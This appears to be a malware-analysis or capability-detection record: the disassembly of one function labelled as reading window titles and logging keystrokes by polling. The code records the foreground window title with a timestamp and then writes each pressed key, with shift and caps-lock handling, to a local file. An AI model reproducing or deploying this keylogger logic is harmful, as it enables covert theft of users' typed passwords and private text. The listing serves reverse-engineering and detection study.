Function at 0x4014a0
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4039fb
mov eax, dword fs:[0]
push eax
sub esp, 0x1e0
mov eax, dword [0x40601c]
xor eax, esp
mov dword [esp + 0x1d8], eax
push ebx
push esi
push edi
mov eax, dword [0x40601c]
xor eax, esp
push eax
lea eax, [esp + 0x1f0]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
cmp eax, 1
je 0x401dd2
cmp eax, 2
je 0x401dd2
push 0x4042cc
push 0x40ee18
call dword [sym.imp.MSVCR90.dll_fopen]
add esp, 8
mov dword [0x406534], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
test edi, edi
je 0x4016cc
xor eax, eax
push 0xfe
push eax
lea ecx, [esp + 0xee]
push ecx
mov word [esp + 0xf0], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
push pe_nt_image_headers32
lea edx, [esp + 0xe8]
push edx
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov esi, eax
inc esi
xor ecx, ecx
mov eax, esi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00402b37
add esp, 4
push esi
mov ebx, eax
push ebx
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x24]
mov dword [esp + 0x20], eax
push ebx
lea eax, [esp + 0x24]
call fcn.00402460
lea ecx, [esp + 0x10]
mov dword [esp + 0x1f8], 0
push ecx
mov ecx, dword [esp + 0x24]
call fcn.00402380
mov dword [esp + 0x1f8], 0xffffffff
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x24]
cmp eax, edx
je 0x4015cd
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov ecx, 0x406b40
lea eax, [esp + 0xe4]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401600
test dl, dl
je 0x4015fc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401600
add eax, 2
add ecx, 2
test dl, dl
jne 0x4015e0
xor eax, eax
jmp 0x401605
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4016ac
xor eax, eax
nop
mov cl, byte [esp + eax + 0xe4]
mov byte [eax + 0x406b40], cl
inc eax
test cl, cl
jne 0x401610
push 0
call dword [sym.imp.MSVCR90.dll__time64]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
add esp, 4
push eax
mov dword [esp + 0x1c], edx
call dword [sym.imp.MSVCR90.dll__localtime64]
mov edi, dword [sym.imp.MSVCR90.dll_strftime]
add esp, 4
mov esi, eax
push esi
push 0x4042d0
lea ecx, [esp + 0xac]
push 0x40
push ecx
call edi
push esi
push str._d_m_y
push 0x104
push 0x406c40
call edi
mov edx, dword [0x406534]
mov esi, dword [sym.imp.MSVCR90.dll_fprintf]
push str._n_n_Window:
push edx
call esi
mov eax, dword [0x406534]
mov ecx, dword [esp + 0x38]
push eax
push ecx
call dword [sym.imp.MSVCR90.dll_fputs]
mov eax, dword [0x406534]
lea edx, [esp + 0xd4]
push edx
push str._at:_s__n
push eax
call esi
add esp, 0x3c
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4016cc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebp + 8]
mov ecx, dword [sym.imp.MSVCP90.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edi
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
push eax
call fcn.00402910
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
add esp, 4
push 0x11
call esi
mov ecx, 0x8000
and ax, cx
mov edx, ecx
cmp ax, dx
je 0x401db3
push 0xa2
call esi
mov ecx, 0x8000
and ax, cx
mov edx, ecx
cmp ax, dx
je 0x401db3
push 0xa3
call esi
mov ecx, 0x8000
and ax, cx
mov edx, ecx
cmp ax, dx
je 0x401db3
cmp edi, 0xd
jne 0x401759
mov eax, dword [0x406534]
push 0x4042f4
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 8
jne 0x40177d
mov ecx, dword [0x406534]
push str._BACK_
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x20
jne 0x401791
push 0x404304
push 0x4042f8
jmp 0x401ace
cmp edi, 9
jne 0x4017b4
mov eax, dword [0x406534]
push str._TAB_
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x25
jne 0x4017d8
mov ecx, dword [0x406534]
push str._LF_
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x1b
jne 0x4017ec
push str._ES_
push 0x4042f8
jmp 0x401ace
cmp edi, 0x24
jne 0x40180f
mov eax, dword [0x406534]
push str._HOME_
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x23
jne 0x401833
mov ecx, dword [0x406534]
push str._END_
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x2e
jne 0x401847
push str._DEL_
push 0x4042f8
jmp 0x401ace
cmp edi, 0x14
jne 0x40186a
mov eax, dword [0x406534]
push str._CS_
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
call esi
mov ecx, 0x8000
and ax, cx
mov edx, ecx
cmp ax, dx
je 0x401ae3
push 0xa0
call esi
mov ecx, 0x8000
and ax, cx
mov edx, ecx
cmp ax, dx
je 0x401ae3
push 0xa1
call esi
mov ecx, 0x8000
and ax, cx
mov edx, ecx
cmp ax, dx
je 0x401ae3
cmp edi, 0xba
jne 0x4018e1
mov eax, dword [0x406534]
push 0x40438c
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0xbb
jne 0x401908
mov ecx, dword [0x406534]
push 0x404390
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0xbc
jne 0x40191f
push 0x404394
push 0x4042f8
jmp 0x401ace
cmp edi, 0xbd
je 0x401a0a
cmp edi, 0xbe
je 0x401a2d
cmp edi, 0xbf
je 0x401a51
cmp edi, 0xdb
jne 0x401969
mov eax, dword [0x406534]
push 0x4043a4
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0xdc
jne 0x401990
mov ecx, dword [0x406534]
push 0x4042c0
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0xdd
jne 0x4019a7
push 0x4043a8
push 0x4042f8
jmp 0x401ace
cmp edi, 0xde
jne 0x4019cd
mov eax, dword [0x406534]
push 0x40437c
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x6a
jne 0x4019f1
mov ecx, dword [0x406534]
push 0x4042bc
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x6b
jne 0x401a05
push 0x404368
push 0x4042f8
jmp 0x401ace
cmp edi, 0x6d
jne 0x401a28
mov eax, dword [0x406534]
push 0x404398
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x6e
jne 0x401a4c
mov ecx, dword [0x406534]
push 0x40439c
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x6f
jne 0x401a5d
push 0x4043a0
push 0x4042f8
jmp 0x401ace
lea eax, [edi - 0x60]
cmp eax, 9
ja 0x401a6a
sub edi, 0x30
jmp 0x401ac8
lea ecx, [edi - 0x41]
cmp ecx, 0x19
ja 0x401ac8
push 0x14
call esi
and al, 1
cmp al, 1
push 0x10
setne bl
call esi
mov edx, 0x8000
and ax, dx
mov ecx, edx
cmp ax, cx
je 0x401abc
push 0xa0
call esi
mov edx, 0x8000
and ax, dx
mov ecx, edx
cmp ax, cx
je 0x401abc
push 0xa1
call esi
mov edx, 0x8000
and ax, dx
mov ecx, edx
cmp ax, cx
jne 0x401ac1
test bl, bl
sete bl
test bl, bl
je 0x401ac8
add edi, 0x20
push edi
push 0x4042d0
mov edx, dword [0x406534]
push edx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x31
jne 0x401b06
mov eax, dword [0x406534]
push str.______:_______.___
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x32
jne 0x401b2a
mov ecx, dword [0x406534]
push 0x404344
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x33
jne 0x401b3b
push 0x404348
push 0x4042f8
jmp 0x401ace
cmp edi, 0x34
jne 0x401b5e
mov eax, dword [0x406534]
push 0x40434c
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x35
jne 0x401b82
mov ecx, dword [0x406534]
push 0x404350
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x36
jne 0x401b96
push 0x404354
push 0x4042f8
jmp 0x401ace
cmp edi, 0x37
jne 0x401bb9
mov eax, dword [0x406534]
push 0x404358
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x38
je 0x4019d2
cmp edi, 0x39
jne 0x401bd6
push 0x40435c
push 0x4042f8
jmp 0x401ace
cmp edi, 0x30
jne 0x401bf9
mov eax, dword [0x406534]
push 0x404360
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0xba
jne 0x401c20
mov ecx, dword [0x406534]
push 0x404364
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0xbb
je 0x4019f6
cmp edi, 0xbc
jne 0x401c52
mov eax, dword [0x406534]
push 0x40436c
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0xbd
jne 0x401c79
mov ecx, dword [0x406534]
push 0x404370
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0xbe
jne 0x401c90
push 0x404374
push 0x4042f8
jmp 0x401ace
cmp edi, 0xbf
jne 0x401cb6
mov eax, dword [0x406534]
push 0x404378
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0xde
jne 0x401cdd
mov ecx, dword [0x406534]
push 0x40437c
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0xdb
jne 0x401cf4
push 0x404380
push 0x4042f8
jmp 0x401ace
cmp edi, 0xdc
jne 0x401d1a
mov eax, dword [0x406534]
push 0x404384
push 0x4042f8
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0xdd
jne 0x401d3e
mov ecx, dword [0x406534]
push 0x404388
push 0x4042f8
push ecx
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
lea edx, [edi - 0x41]
cmp edx, 0x19
ja 0x401dbd
push 0x14
call esi
and al, 1
cmp al, 1
push 0x10
setne bl
call esi
mov ecx, 0x8000
and ax, cx
mov edx, ecx
cmp ax, dx
je 0x401d90
push 0xa0
call esi
mov ecx, 0x8000
and ax, cx
mov edx, ecx
cmp ax, dx
je 0x401d90
push 0xa1
call esi
mov ecx, 0x8000
and ax, cx
mov edx, ecx
cmp ax, dx
jne 0x401d95
test bl, bl
sete bl
test bl, bl
je 0x401d9c
add edi, 0x20
mov eax, dword [0x406534]
push edi
push 0x4042d0
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
jmp 0x401dbd
cmp edi, 0x56
jne 0x401dbd
call fcn.00402290
mov ecx, dword [0x406534]
push ecx
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 4
call fcn.00401e40
xor eax, eax
mov ecx, dword [esp + 0x1f0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1d8]
xor ecx, esp
call fcn.00402ef4
mov esp, ebp
pop ebp
ret